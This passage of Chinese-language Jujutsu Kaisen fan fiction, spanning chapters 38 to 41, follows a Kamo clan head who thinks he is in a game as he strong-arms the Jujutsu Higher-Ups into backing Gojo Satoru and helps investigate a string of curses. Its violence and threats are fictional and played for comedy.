此时此刻,那些就任于总监部高层的加茂长老还在帮他找线索,剩下的人则按照他之前定好的安排,仍在菜地间来回穿梭,忙着浇水、施肥、松土、除草、修枝、搭架……总之不会给他们闲下来的机会。 这种太过逼真的虚拟游戏,如果要他自己亲自种地,就会感觉玩这游戏还不如出门打工;但要换成是监督这帮和自己不对付的npc每天16小时无休种地,成就感与幸福感瞬间就大幅度提高了。 羽取一真甚至还打开手机,将他们忙碌的身影拍给五条悟看,换来一长串秒速回信的【哈哈哈哈哈哈哈哈】。 末尾还没忘记加上符号构成的颜文字表情,一看快乐得不行。 羽取一真心满意足的收起手机。 “喂,你,那个扎着俏皮冲天小辫子的。” 他随口喊了发型比较显眼的那个,把对方气得握住锄头的手一哆嗦,尽力忽视周围传来的窸窸窣窣笑声。 什么俏皮冲天小辫子,真是失礼至极!这叫茶筅髻! “帮我去找加茂乃吉回来,我有事要他做。” 羽取一真才不管他什么反应,只吩咐完这句后,便又回到正殿内等着。 “您找我?” 不多时,便听见加茂乃吉小心翼翼问道。 “嗯,”羽取一真点头。 “你去给首座发个请帖,就说我死了。” 加茂乃吉的大脑在接收到这句话后无法理解,条件反射的一声“啊?”就脱口而出。 “既然他这么希望我死,那我要是真死在这里了,他应该会很高兴的过来和你们一起祝贺吧。” 羽取一真挥手,诚实履行自己刚才对五条悟说的[把他骗出来杀]。 “就说我回来后被你们群起反抗成功,现在死了,邀请他过来祝贺,顺带瓜分下我的遗产。” “…………” 加茂乃吉艰难出声,“我觉得,首座应该不会相信这个借口。” 这话说出去谁会信啊,面对天灾都能若无其事解决掉的家伙……估计连隔绝出一个小世界的领域展开都会了吧……否则很难想象他是怎么活下来的。 “那你就自己想一个,总之必须把人骗过来。” 羽取一真皱了皱眉,直接把活安排给加茂乃吉。 “能骗出结界也行,方便我杀掉他就可以。” 一听加茂家主的这目的,加茂乃吉陷入了沉默。 勉强保持镇定与恭敬的外表下,他的内心几乎要痛哭流涕。 他觉得,如果总监部首座真的死在这位手上,加茂家可能都会被另外两家联合除名咒术界,再也混不下去了。 这家伙到底是哪里来的活阎王啊! 一言不合就直接大开杀戒的! 但加茂乃吉没办法拒绝羽取一真的命令,只能顺从退下,想办法先联系首座那边。 而后——得知了一个更令人震惊的事实。 “什么,首座已经死了?!” 第38章 在羽取一真还没有来得及拷问总监部的这位首座前——确切地说, 甚至还没来得及调查他之前。 对方就已经成为了一具永远无法再开口说话的尸体。 据说是在自己卧室里自尽的,被打扫卫生的仆人发现时,他已经倒在榻榻米上, 双眼瞪大, 似惊恐似恼怒,但没人知道究竟发生了什么事。 他死在了守卫严密的结界之中,凶器是一把裁纸用的刀,利落的割开了气管及动脉。 “怎么看都是灭口。” 竟然被幕后真凶先一步下手,羽取一真双手交叉怀抱在胸前,虽然脸上仍旧没什么表情, 但五条悟一眼就看出对方相当不高兴,甚至还有点愤慨。 在郁闷吗, 因为自己没能先杀到那位首座?这又不是拔萝卜比赛。 五条悟有点忍俊不禁, 压着他脑袋来回揉搓安慰。 “好啦好啦, 别这么沮丧, 对方明显是被你逼急了喔,甚至不惜出手将那个老爷子灭口——这可是名义上的咒术界最高领导者, 杀了他会很麻烦的。” “毕竟那人惹到我了。” 羽取一真凉凉道。 竟然敢抢玩家的人头! 虽然杀了那个首座老头大概率没有奖励掉落,毕竟他既不是野怪,也不是副本boss……但是那家伙竟敢抢玩家的人头! 五条悟看着似乎在生闷气的羽取一真,听着他放出来的狠话, 实在没忍住又多揉了一把。 糟糕, 为什么都是放狠话,高层那帮老头就让他格外厌恶, 换成这小子……总感觉……非常可爱? 五条悟捏着下巴陷入沉思。 他的另一只手仍然无意识压在羽取一真的发顶上,将后者那副生人勿近的冷淡气势都削弱不少。 羽取一真在加茂家那边既冷漠又凶残,动辄将那帮人吓得瑟瑟发抖;但当他站到五条悟身边时, 总是显得又乖巧又纯良,半点没有反抗头顶传来的力道。 让加茂家那些还在痛苦干活的人瞧见,大概会惊到眼珠脱框。 也可能不会特别震惊,毕竟他们早就听闻这位堂堂加茂家的家主,在上任第一天就跑去五条家,向他们的家主申请联姻…… 现在看来,联姻成功的可能性竟然越来越高了。 “话说回来,会出现这般决绝的断尾求生,说明那位真凶的身份很关键啊,竟然不惜失去对总监部的全盘掌控,也要隐藏自己。” 五条悟回过神,继续开口说道。 “为什么会害怕被人发现身份?担心我杀了他吗?” 这个猜测十分很合理。 毕竟他不会轻易对目前代表权力与民心的总监部出手,并不意味着他同样不会对一个总监部之外的敌人动手。 别说和某人单打独斗,只要他愿意,毁灭整个日本也不过是动动手指、多费点时间的事情。 毕竟,[六眼]能使他在发动术式时的咒力消耗无限接近于零。 而他的[苍]、[赫]乃至[茈],全部都是范围广、破坏性高的攻击型术式。 五条悟沉吟片刻,总觉得事情没那么简单。 如果有这么一个人的存在,能让总监部的首座为其卖命,那么……这个人到底利用总监部做了多少事情? 想杀羽取一真,也是因为他的行为间接威胁到了幕后黑手对总监部的掌控吗。 不……等等,或许还要更早。 之前羽取一真和他提过的失控咒物[疱疮祸根]——以及那枚特殊的咒力结晶。 “或许……那是同一人所为?” ——五条悟自言自语道。 “嗯?”羽取一真歪头。 “是在说你可能一早就被人盯上了哦。” 五条悟叹着气拍了拍他的脑袋,才收回手。 “我早该想到的,既然总监部首座都在他的掌控之中,那些高层又怎么可能被容许置身事外。” 这么想来,从加茂家到总监部,黑发青年还真是狠狠闹了好一大通啊,难怪对方这么着急把他除掉。 再不除掉,总监部早晚要成他的。 但现如今,接二连三的谋杀都失败,对方也不得不斩断联系,让他们无法通过总监部这条线找到幕后谋划者的身份了啊。 毫不犹豫舍弃棋子的动作实在很果断,不愧是之前能在暗中掌控咒术界高层的阴谋家。 五条悟在心底提高了警戒程度,言谈间却显得十分轻松,好让听到这个消息的羽取一真不会因此担惊受怕;当他收敛起平日那副玩闹活泼的表情时,轻描淡写间便显出了无与伦比的可靠与安心。 “别担心,我很快就会找到那家伙。”五条悟说道。 “别担心,我会杀掉的。”羽取一真同时开口说道。 不怕那人不来杀他,就怕那人不来。 两句话同时响起,羽取一真还没来得及再说什么,五条悟先惊讶的转过头,没想到自己反而被安慰了。 “欸——我可没说我在担心你哦——” 五条悟歪过脑袋看他,刻意用拖长了尾调的声音软绵绵开口。 “没有吗?” 羽取一真的黑瞳微微睁大,认真回看他。 两人的身高相差无几,使五条悟不需要低头就能将羽取一真的反应尽数收入眼中,更别提对方难得流露情绪的那张脸…… “用这种眼神看我真是作弊啊,” 五条悟轻哼出声,格外愉快的笑起来——哪怕连他也不明白自己到底在高兴点什么。 “好啦,在担心在担心——” “哦。” “真的真的——” ………… 总监部首座死后,确实在高层内部引发了不小的地震。 首先就是统一口径,将首座大人的死亡定义为[突发疾病过世],安抚其余不知事情真相的人。 其次则是对于那位大人的态度,内部出现了好几种声音。 以往无论是联络或下令,都是只有首座能与那位大人联络;此刻首座的猝然身亡,无异于总监部被另一方主动的、彻底的放弃。 既然都被放弃了,是否意味着被选上来的新首座,将会得到真正完整的权力? 所有高层瞬间都变得蠢蠢欲动,对着那个空位垂涎欲滴。 这便是最后一点,也是最关键的一点。 谁来当新首座? 这个答案简直毋庸置疑。 “我选五条悟,谁赞成,谁反对?” 在那愈发激烈的讨论声中,不请自来的羽取一真坐在障子门后,平淡一句话便炸响全场。 ——刹那间,整个会议室内鸦雀无声。 仗着有障子门隔绝视线,所有人都对着羽取一真的方向怒目而视。 知道你偏心五条悟那小子,但也没有这么偏心的道理! 让五条悟那小子一朝翻身,踩在他们的头上?根本滑稽至极! 话说他们开这个商讨会已经够偷偷摸摸的了,为什么还能被这家伙找过来啊? 就算在加茂那边,连杀两人的他也肯定是不得人心、密谋反抗的吧! 被枪口抵住脑袋威胁的加茂乃吉低着头,不敢吭声。 [不得人心、密谋反抗]这句话说得倒是轻巧,你们要是被枪指着脑袋问问题,也会什么都愿意说的…… 有前田康夫的先例在前,此刻全场寂静得过分,竟然没有一个人敢说个“不”字。 “既然大家都不反对,这件事就这么定了。” 等了片刻没人跳出来反对,羽取一真再度出声。 “五条悟,咳,您提的建议不错,” 终于有人按捺不住那份近在咫尺的权势诱惑,边咳嗽着边委婉又委婉的反对道。 “但五条悟,甚至不属于总监部一员……您要突然推举他,那也太过……” “太过什么?” 羽取一真淡淡问道,那把[血寄斗枪]被拿在手里,把玩似的缓慢转动起弹舱,发出咯啦咯啦的轻微金属摩擦声——对方立刻被吓到噤声,再也不敢多说一个字。 “太过明智了!” 前田康夫立刻找到机会接话。 “老夫觉得五条悟不错,不仅实力是术师最强,心性也踏实谦逊、不骄不躁,合该成为带领今后咒术界的最高领导者啊。” “说得不错。” 羽取一真满意点头,把其余人都给点沉默了。 什么踏实谦逊、不骄不躁………这老东西真会逮着机会拍马屁! “虽…虽说听起来确实应该由五条悟担任首座最为合适,” 眼看总监部真的要被这个加茂家的家主搅得一团糟了,另一人不得不硬着头皮出声。 “但毕竟前任首座是遭到谋杀而亡,按照我等之前商量好的提议……五条悟需要先找到凶手,为前任首座大人报仇后,新首座才有资格继任。” “否则,我担忧若是五条悟仓促继任总监部首座的位置……会被外人疑心前任首座的死,是否系他所为。” 羽取一真沉思片刻,承认这句话倒是说得有道理。 如果换做他来,可能就直接血洗总监部上位,被称为暴君或阎王也根本无所谓。 但悟毕竟是想发动温和的改革,要是做得太过分,不仅底层的支持率就会跟着下跌,政策也会推行不下去。 看看隔壁的卷心菜首相——从上台到下台总共45天,卷心菜都还没放坏。 “可以。” 羽取一真开口敲定了这个协议,算是默许了这条规则。 众人无不松了口气。 能拖一时也好……况且,那位大人的能力同样深不可测,或许有办法对付五条悟也说不定? 如果二人能同归于尽,那更是再好不过。 要是连那位大人都被杀了……那他们还有什么好说的,难道他们就有办法对付五条悟吗?他们连加茂家的这位凶神都没办法对付! 在会议散场后的第一时间,羽取一真就打电话给尚不知情的五条悟。 “我就猜到他们会瞒着我开会,偷偷选个新首座出来,所以提前逼问了加茂乃吉……总之结果就是这样,你马上能当总监部首座了。” 末尾,羽取一真还认真恭喜他。 五条悟:“…………” 五条悟的墨镜,堂堂碎裂。 第39章 当然, 要五条悟现在直接当上备受爱戴的总监部首座还有亿点难度。 毕竟他的改革理念基本就是在颠覆这帮老顽固的既得利益,即使坐到那个位置,也很难说就必定会迎来成功。 被架空权力还算好的, 就怕还有人为了自身利益, 假借五条悟的命令,背地里干些更坏名声的事情。 何况还有那个幕后黑手的存在——要说那人在杀了前首座后就会彻底偃旗息鼓?怎么可能。 这些高层明显也知道有这么一人存在,只是大家都不清楚那位的身份,索性顺势将五条悟推了出去,与那位对上。 羽取一真没有反对这个协议。 他知道悟的情况远和自己不同,暴力强压之下的反弹会更剧烈, 也不利于他之后要做的事情。 玩家只管杀杀杀就完事了,漂亮大悟还有他的理想要完成呢。 反正他迟早会找出那个似乎是剧情里反派BOSS的存在并干掉, 到时让悟提着他的脑袋去总监部, 既能震慑那帮老头, 也让悟成为首座这件事变得有理有据。 目前算是羽取一真强势替五条悟占个坑, 以免被那帮老头捷足先登。 毕竟在会议上,羽取一真的言外之意相当明确。 他们敢提名谁, 他就干掉谁,除了五条悟以外的所有人他都不认可。 真是有对比才有幸福感,这些高层如今被羽取一真三番四次用枪抵着脑袋威胁性命,才蓦然发觉, 五条悟可真是个守规矩的温和派…… 能请他来管管这个活阎王吗…… 五条悟才不管。 五条悟一手搭着羽取一真肩膀, 大半重心都挂在后者身上,已经快要笑死了。 “来啊, 夜蛾校长,快来见见我这位未来的首座大人哦,现在还特别允许你可以向我要签名——” 不管他是不是真的能当上这个总监部首座的位置, 但现在他就是要在夜蛾校长面前显摆显摆! 这可是羽取一真给他争来的位置,是超级、超级支持他的羽取一真哦! 夜蛾正道:“…………” 捏在夜蛾正道手里用来扎毛毡的钢针,被当场捏弯成U型。 原本只是喊这两位来参加一下正式开始学期前的教职工会议,结果就迎面给他砸来一个超震撼的大新闻。 夜蛾正道已经毫不怀疑,眼前的这个加茂家主,根本就是比五条悟还要疯狂的……疯狂的……呃,追求者? 一想到这位怎么看都是成熟、沉稳又冷静的黑发青年,无论是当上加茂家主、成为高专教师抑或加入总监部,终极目标竟然是成功与五条悟联姻,他都感觉自己的心脏在犯抽抽。 他当然没觉得自己的学生有什么真正难以容忍的性格缺陷,能有人喜欢也是理所应当,但是、就是…… 算了,看悟这小子如今对黑发青年的亲近劲,他甚至觉得这两人哪天真给他发来请帖也不必太感到意外…。 这么多年,难得有个能和悟关系如此亲密、又大力支持他理想的,夜蛾正道心底也算是松了口气。 就是这个[大力支持],实在是大力过头了。 不过短短三个月左右,直接把悟顶上总监部首座…… 夜蛾正道感觉自己的心脏还是得再缓缓。 “既然二级评定已经通过,你和伏黑惠也平安无事,那就正式开始教学了。” 夜蛾正道扶了扶墨镜,确定它此刻依旧完好无损。 “另外那位一年级新生我也再联络过一次,她说家里还有点事情要处理,大约六月份才能过来。” “至于三年级的学生,嗯,由于处分,目前还是停学中……” “啊呀,说起这件事,” 五条悟突然想起来,“秤的停学处分是因为他殴打了保守派的上层吧?现在完全可以提议取消嘛。” 他可是超级看好秤的未来的! “…………你说得有道理,可以试一下。” 夜蛾正道沉默片刻,发现以前注定做不到的事情,有羽取一真的存在,竟然也变得可行起来。 “停学处分?”羽取一真问五条悟。 “就是三年级的两个学生,秤金次和星绮罗罗,”五条悟笑眯眯道。 “去年年底发生了场大袭击,他们去京都支援的时候和保守派那边的人发生冲突啦,秤就直接把对方暴揍一顿,于是被高层下达了停学处分。” “哦,那完全可以取消。” 一听是把保守派暴揍一顿导致停学的,羽取一真立刻表示没问题。 既然是把和悟对着干的人揍了,那能叫事吗,区区揍一顿而已,又没死。 玩家可是很双标的! 夜蛾正道:“…………” 果然,这小子真是一心向着悟啊……护短成这样,他还是头一次见。 之前就听说过他进入总监部的方法极其卑鄙,但高层那边没人具体透露出他到底干了什么……如今看来,肯定不只是揍几个人那么简单吧。 对此,羽取一真神色淡然从容,眉眼间不见半分心虚。 他是来玩游戏的,又不是来当裁判的,难道还要拿些规矩法理来审判他?呵,谁敢来审判就是谁活得不耐烦。 “之后再讨论这个问题吧,被判停学后他们就不知道跑哪里去了,我先想办法找到他们。” 夜蛾正道心累得捏了捏鼻梁,“先专注在目前学生的教育上。” “咒术高专是三年制毕业的?” 羽取一真听了半天,发现除了三年级的两位被停学的秤金次和星绮罗罗外,只剩下二年级和一年级的学生需要教——总共加起来才五个人。 确切地说,是四个人加一只熊猫。 这所学校占地这么广,里面的学生未免也太少了吧?因为是背景板所以游戏只建模了场所,但懒得详细设计里面角色? 在夜蛾校长正吃惊羽取一真竟然连高专基本的学籍制度也不懂时,五条悟早就习以为常的开始给他解释。 “不是哦,目前是四年制。” 五条悟比出四根手指,在羽取一真眼前超可爱地摇了摇,把他的注意力都全摇了过去。 “以前是三年高中加两年大学构成的五年制啦,但后来发现需要教学的内容基本都在前三年能教完,后面两年好像不需要老师也完——全没问题——” 看着漂亮大悟比出的四根手指顺势变成[超级OK!]的手势,羽取一真默默忍下想要伸出手捉住的念头。 “第四年是实习加任务经验的积累,” 五条悟好似没有察觉到羽取一真的念头,仍旧兴致勃勃的给他解释。 “第五年则按照惯例,是学生们可以自由度过的一年。哪怕思考人生后发现自己不想从事咒术师这行,学校也不会阻止。” “后来大家都觉得第五年完全没必要留着啦,咒术高专才变成四年制的哦。不过嘛,毕业的咒术师在正式上岗前,还是会空出一年自由活动的时间。” “事实上,很多往届毕业的学生不是丧生在祓除咒灵的过程中,就是出于各种原因转行不干呢。像你之前在山形县见过的七海建人,就是之前转行公司职员,后面又回来继续当咒术师的群体之一哦。” “而那些御三家出身的咒术师,则非必要不就读高专……对吧。” 羽取一真努力将注意力集中在五条悟讲给他听的内容里,而不是总在他眼前比出各种可爱手势的手指上。 “你很聪明哦,加茂同学!很有潜力!”五条悟立刻接上夸夸。 “哪里哪里,都是五条老师教得好。”羽取一真配合的谦虚道。 “哈哈是吗?我也觉得自己是个超great的教师耶!” 一捧一逗之间,五条悟超开心的拍着羽取一真肩膀,把全程旁观他们互动的夜蛾正道都给拍沉默了。 这两人的年龄……真的是28和27吗。相性是不是太好了一点啊。 唉……算了。 “另外还有二年级的老师日下部笃也,” 这学期还没正式开始,夜蛾正道已经感觉到了双倍的心累。 “但他目前正在出任务,只能等回来再向你介绍了。” “哦。” 对于漂亮大悟以外的事情,羽取一真压根不关心。他随意点了下头,应了一声,就算是敷衍过去了。 夜蛾正道:“…………” 这反应的差距还真是显而易见。 之后的内容便没什么了,如今总监部乱成一团麻,从原本抱成一团的坚不可摧到如今的派系林立、自顾不暇,根本没空来插手东京高专这边的事务,反而让夜蛾正道受到的压力也小了许多。 在这点上,他也要感谢羽取一真——虽说后者给他带来了另一种意义上的胃痛。 于是,开学前的教职工会议便到此结束。 “接下来是不是没什么事了?要出任务吗?” 殿外的阳光灿烂,羽取一真和五条悟并肩走在林荫道上。 “嗯——没有任务呢,大概是还没到诅咒高发的五月吧?” 五条悟悠闲地伸了个懒腰,活动肩膀,连声音都变得懒散起来。 “调查的事情也还在进行中……突然又闲下来了啊,还能看老家伙们的笑话,呼呼,心情愉快愉快。” “那要回家吗?”羽取一真问。 原本用五条悟的话来说,只是[住几天]的,结果就算之前回了趟京都、大方公布了羽取一真还活着的消息,两个人也默契的假装忘了这件事,谁都没提让羽取一真重新搬回高专宿舍住。 因此,羽取一真直到目前为止,仍然继续借住在五条悟的公寓里。 “回去有点早啦,正好去钓鱼啦,钓鱼,”说到这十条鱼,五条悟顿时垮下脸来,“我还差三条呢,今天下午一定会钓到的!” “你上次也是这么说的。” “……上次是上次,这次是这次。” “………” “不准笑哦?啊你刚才绝对在用眼睛偷偷笑!我看到了!” “……咳,好。” 第40章 伏黑惠在听说自己被成功评为二级咒术师, 可以独立出二级以下任务时,并没特别强烈的情绪反应。 反而是听说伏黑津美纪的诅咒调查有进展后,要显得更紧张些。 此刻, 时间已来到了五月。 明显高发起来的诅咒, 让原本空出些时间的五条悟又忙碌不少,但自从高层那边不敢再找他的麻烦,也总算仅是让他的工作量上涨到了一个平稳的繁忙期。 毕竟有些特级任务确实除了他以外没人能做,但不像以前那般,高层甚至会把没人愿意接的一级任务都全部塞过来,美其名曰“你要是拒绝, 是打算看着其余咒术师送死吗”。 比起真的为咒术界下一代着想,那帮老头倒是更像为了加重五条悟的工作量, 压榨他多余的精力与时间而故意为之。 就像三五不时把他喊过去训斥的夜间开会那般, 刻意让五条悟没有太多的个人时间去处理私事。 而如今, 在羽取一真强势又凶残的阎王作风下, 高层躲着五条悟走都来不及,更别提敢像以前那般给他找茬。 因此, 现在的五条悟大多做些一级咒术师尝试过确实无法完成,不得不请他过去收尾的高危险性任务。 “请”这个形容词就用得很令人舒心。 有羽取一真在旁边冷冰冰盯着,这帮人的措辞都变得客客气气的,生怕一不小心惹得这位活阎王动怒, 把自己的小命当场送走。 至于杀掉羽取一真? 他们难道没有想过吗, 连那位大人的尝试都失败了,难道他们还能让五条悟去杀羽取一真不成?没反过来杀他们就不错了! 何况再过不久, 他们就得眼睁睁看着五条悟彻底踩在他们头上……光是想到这点就如鲠在喉,但又拿他们其中任何一人都没什么办法。 只能庆幸五条悟确实比另一位守规矩些,有任务送过来也不会拒绝。 而调查的事情则一直有五条悟付钱委托的机构在进行, 此刻也是由他们汇总整理完毕后,递交了一份详细的调查报告过来。 伏黑惠最关心的便是这个。 “根据您交给我们的名单,我们逐一走访了这些被咒者,确定他们的身上也有几乎完全一致的纹样,并在询问过被咒者曾经接触过的所有人、收集他们的证词后,发现了一个奇妙的共通现象。” 代表机构来汇报的人用手扶了扶鼻梁上的眼镜,以一种相当专业的态度开始总结。 这可是足以让整个机构吃饱三年的大案子,绝不能让眼前这位尊贵的金主有任何不愉快! 而他现在佩戴的眼镜其实是一副平光镜——确切地说,是金主提供给他们的,能够看得见“咒力”这种奇妙事物的眼镜。 据金主所说,代表着[标记]的这枚花纹是注入咒力后才会生成的产物,如果只用普通人的视角去观察“被咒者”,就会什么也看不见。 即使被告知了如此颠覆他们过去世界观的东西,但没有一人想要拒绝这份委托。 倒没有什么别的原因,纯粹是因为这位大金主给的实在太多了。 “他们无一例外,都曾经有过主动或被动接触都市传闻的经历。” 汇报人的表情与口吻都非常严肃且认真,哪怕是汇报这种在外人看来十分离谱的内容,他们也能用最恭谨的态度对待着眼前这三位客户。 “都市传闻?”伏黑惠蹙起眉毛,“津美纪也去过吗?” “是的,”汇报人回答道,“伏黑小姐去过的是[八十八桥蹦极]传闻。” 伏黑惠豁然起身,被坐他身边撑着脑袋在听的五条悟伸手拉住。 “五条老师……!” “别着急,惠。” 五条悟开口,“被咒者遍布在全国各地,难道其他人接触过的都市传闻也是[八十八桥蹦极]吗?不可能的,这只是一个筛选机制。总之,先听他说完吧。” 伏黑惠愣了下,咬着牙沉默坐回原位。 “抱歉……是我刚才冲动了。” “能理解哦,毕竟是惠的亲人嘛。” 五条悟收回手,转而对汇报人示意让他继续说。 “我很好奇除了这个共性以外,还有没有其它发现?” “啊好。”汇报人略微清了下嗓子,“除此之外,我们确实没有再找到类似这种的共同点。” “但我们又想起来,按照您的说法,被害者中诅咒的现象都是[身体没有健康方面的问题,骤然陷入不明原因的长期昏睡,且身上必定浮现出这个普通人无法观测到的纹样]。” “于是,我们根据这个纹样,再次大范围的筛查了下医院的记录,并将时间拉长至以十年为单位。” “由于这种现象与身体状况无关,即使去了诊所,找不出原因的医生也会推荐患者转入有名的大医院。” “因此,我们只需要着重筛查几个大城市里的知名医院的患者住院记录,并在诊断病例中找出[身体指标正常,病因不明,昏迷]这些关键词。” 听到这里,五条悟眼睛一亮,毫不吝啬的夸赞起他们。 “能耗费心力做到这种程度,还真是了不起呢。之后会额外再给你们发一笔奖金哦。” 好耶,钱! 汇报人在心里握拳欢呼,面上仍然极为克制地一推眼镜,略显矜持道。 “这是我们一贯的服务标准,即使半点线索也不能放过,直到令您满意为止。” “那么,我就继续往下汇报了。当我们将时间拉长后,一直往前追溯后,发现被咒者远不止是在近两年出现。” “哪怕往前翻查五十年、六十年,全国各地也依旧有[疑似被咒者]被送入医院,只是在医生查不出病因、病人又迟迟未醒后,有些家属决定放任死亡,有些家属接回家照看,还有些疑似被咒者已然去世。” “而这些诊断不出病因的病人,医院为了自己的名声着想,往往会选择隐瞒,并不会刻意公布出来。再加上当时通讯并不发达,也不会有记者特意收集这些数据并进行采访登报。” “大约是如今网络便利,伏黑小姐又是伏黑先生的家人,才会刻意关注并尝试收集相关情报信息,想要找到解救方法吧。” 汇报人说到这里后,便略鞠了一躬,示意自己到此已全部汇报结束。 五条悟也从撑着脑袋听的姿势变为往后靠坐,双手交叉环抱在胸前,陷入沉思。 过了片刻,他转头看向羽取一真。 “和那个幕后黑手,是同一伙人。” 羽取一真点头。 “我猜也是。” 之前为了让五条悟能够当上首座,羽取一真和总监部高层达成了一个协议,即[找到杀害前首座的凶手]。 而羽取一真怎么可能放着这些明显对幕后黑手知道些什么老头npc不管,独自漫无目标的去找线索? 他在散会后不久,便又点着名单,将[血寄斗枪]顶在那些老头的脑门上,挨个审问了一遍。 唯一问出来的有效情报,就是[那个幕后黑手掌控总监部的时间很长,甚至比他们的年龄还长]。 这也是为什么五条悟的改革注定不可能成功的关键原因之一。 早就有人在幕后控制整个咒术界了,怎么可能容许五条悟想要推翻统治、重置咒术界的理想实现? 而此刻,他们竟然发现给伏黑津美纪种下诅咒的人,和操纵总监部高层的人,大概率是一伙的。 “应该是一个团体吧。” 五条悟捏着下巴沉思,“虽说我们是术师,但寿命和普通人一样,活不到几百岁的。” “要是像天元大人那样的存在……不太可能,不死术式只能保证他不死,不能保证他变老……虽然也可以往[不老不死]的方向去猜,但这种存在真的还有必要藏头露尾吗?不老不死的话,就算想要统治世界也没问题了吧。” “咒灵或者咒物呢?”羽取一真问道。 “不太可能,特级以下的咒灵基本不存在知性。即使拥有能够沟通的理性,针对人类的行动也大多是直接且粗暴的抹杀,不会有这么狡猾。” 五条悟摇了摇头,“咒物也是同一个道理。何况越高等的咒物越难找到合适的人类容器,绝大多数普通人都会无法接受咒力,中毒而死。” “而且,它们的行动都极容易留下咒力残秽,想追踪起来是很简单的。” “这样啊。”羽取一真恍然。 也对,在绝大多数游戏里,这种前期会隐藏身份的最终反派都是狡诈又邪恶的人类,而不是野怪。 “如果是隐藏起来、代代相传的团体,倒是有点可能。” 五条悟向羽取一真笑了笑,才继续说道。 “[新·阴]就是类似这样的存在。他们的家主至今神出鬼没,据说依靠将[新·阴流]据为己有、再以[束缚]传给门生这个办法,已经活了很多很多个年头哦?” “但[新·阴]是明面上在总监部争夺势力的派系,且一直都处在下风来着。嗯……真是的,思维走进死胡同了啊。” 五条悟拍了拍自己的脑袋,长叹口气,显然对敌人的身份完全没有头绪。 伏黑惠眉心紧蹙,无法接受拜托五条老师如此耗费力气调查出来的结果,依旧不能救出津美纪。 “没事的没事的,” 见到伏黑惠愁眉不展的担忧表情,五条悟笑着拍了拍他的肩膀安抚。 “现在这不是已经大有进展了嘛?别担心,之后肯定能找到幕后凶手的啦。” “加茂家的那些长老还在翻找古书,可以再等等结果。”羽取一真配合出声,“他们说这不像是近代术师会使用的术式,同样与这次的线索吻合上了。” “……嗯,是我太急了。” 被五条悟和羽取一真接连安慰,伏黑惠缓慢点头,抬眼看向他们,认真开口道。 “感谢你们的帮忙……五条老师,加茂老师。” 在之前被羽取一真提醒过一次后,伏黑惠并没有再忘记这点——何况津美纪与他们二人没有任何关系,如今愿意花费这么大力气帮忙,都是因为他想要救她。 “毕竟是我可爱的学生有困难,老师我自然要帮到底啦!” 难得被伏黑惠感谢,五条悟很高兴。 等汇报人离开后,趁着大家难得聚在一起的周末闲暇,五条悟向伏黑惠聊起另一件事。 “我前段时间有点忙,回来才听说你之后被安排了去仙台出差?祓除咒灵吗?” “是的,”伏黑惠应道,“现在只通知了一声,具体要等下个月才会过去。” “是一个回收特级咒物的任务。” 40-60 第41章 “回收特级咒物?为什么要你去啦, 随便找个辅助监督或者[窗]去做不就好了。” 拖长尾音嘟囔了声,五条悟双腿交叠,脚跟撑在地面, 上半身往后靠向椅背, 直到将前面的两根椅腿撑起,只靠后面的两根椅腿支撑在地面,整个人半躺着一晃一晃的,全靠他绝佳的平衡力来稳稳支撑住身体。 这个超级放松的坐姿要是被夜蛾校长看到,又会说他太过懒散,根本没有教师的正经模样。 但眼下, 这间会议室里只有羽取一真和伏黑惠。 如果说伏黑惠对此选择视而不见的话,那么羽取一真的反应就相当直白了。 五月份的气温正合适, 五条悟没有穿那身立领纯黑外套加长裤的惯常装束, 而是改成一件普通的长袖T恤, 搭配的宽松白衬衫松垮敞开着, 连同没有被眼罩束起的纯白发丝一道,让他整个人看起来从容又自在, 无拘无束极了。 “可以拍照吗?” 羽取一真从怀里拿出手机,熟练地打开拍照功能,对准五条悟。 自从他第一次问五条悟能不能拍照,对方笑眯眯答应了后, 用手机拍照保存各种情景下的五条悟, 都快变成羽取一真条件反射的行为了。 毕竟这足有一米九的颀长身形,使五条悟在毫不费力做出这种半舒展开身体的动作时, 呈现出一种特别吸引人的轻盈张力,既似一副缓慢拉紧的弓,又漂亮得像一只踏水而飞的白鹤, 连每根羽毛都在阳光与水雾的映照下闪闪发亮,宛如落向湛蓝天空的晶莹珍珠。 简而言之,羽取一真喜欢得不行。 “欸?” 正把普通的椅子当摇摇椅玩的五条悟姿势没变,朝羽取一真的方向偏过脑袋。 那头散在椅背的柔软白发随之被蹭得翘起些许,像一团被揉碎的棉花糖丝,甜甜的,蓬松又绵软的落进羽取一真眼底。 好想摸摸看…… 在羽取一真还没来得及出声之前,五条悟便先用拇指与食指捏住镜腿一侧,抬起,让那双墨镜后的苍瞳朝着他轻轻一眨,笑得狡黠又得意。 他的脸这么好看,穿搭又这么有型,能迷倒对方简直是再显而易见不过的事实啦! “好啊,来拍吧——记得把我拍帅一点哦!这个姿势怎么样?” “没问题,” 手机不断调整角度,传出咔嚓声响,伴随着羽取一真超级诚恳的夸赞。 “超帅的。” “哈哈是吗?这样呢?” “帅到心坎里。” “哈哈哈哈,我猜也是呢!” “…………” 坐在二人边上的伏黑惠,目光逐渐放空。 好想立刻从这里消失…… 等羽取一真拍得心满意足、收起手机后,五条悟才又露出一个纵容般的愉快笑意,重新转回视线看向伏黑惠。 “惠,你还没说原因呢。” 虽然先满足了羽取一真的愿望,但他没有忘记伏黑惠刚才的任务啦,毕竟他可是个关心学生的超nice guy! 从放空大脑的走神中突然被喊回现实的伏黑惠,卡壳了片刻才开口。 “啊?啊……是伊地知先生告诉我的,他说仙台那边有个特级咒物的封印出现松动的迹象,那边的[窗]正在确认。” “如果真的有松动,[窗]和辅助监督在带它回来的路上,可能会遭到咒灵袭击……所以才安排我去回收。” “封印松动啊……”五条悟想了想,问他。 “你要回收的是哪个特级咒物,两面宿傩的手指?” 作为特级咒物,诅咒的威力也有高低之分——其中最危险的,莫过于两面宿傩的手指。 不仅无法破坏,术师封印的效力还赶不上诅咒增强的速度,已经变成越来越麻烦的东西了。 “就是这个,作为辟邪物放在了仙台的杉泽第三高中。” 伏黑惠点头,“等[窗]传来确认的消息后,我就去负责回收。” 二年级的学生都去出别的任务了,惠刚入学一个月,做这种危险程度并不高的任务来作为正式术师后的磨炼与经验积累,倒也算合适。 “可以哦,反正听起来也没什么难度。” 五条悟摊开手,冲伏黑惠比出一个拇指。 “仙台是个人口只有一百万的小地方,就算生成咒灵也差不多是两、三级的水平啦,和东京完——全不能比。我相信惠能搞定的,耶!” 伏黑惠看着那个竖起在他面前的大拇指,沉默。 “嗯。” 完全应付不来五条老师这份热情的他干巴巴应了一句,“我会的。” 今天是不用上课的周末,调查也有了新进展,还没有任务在身,靠在椅子上的五条悟伸了个惬意的懒腰,心情格外轻松。 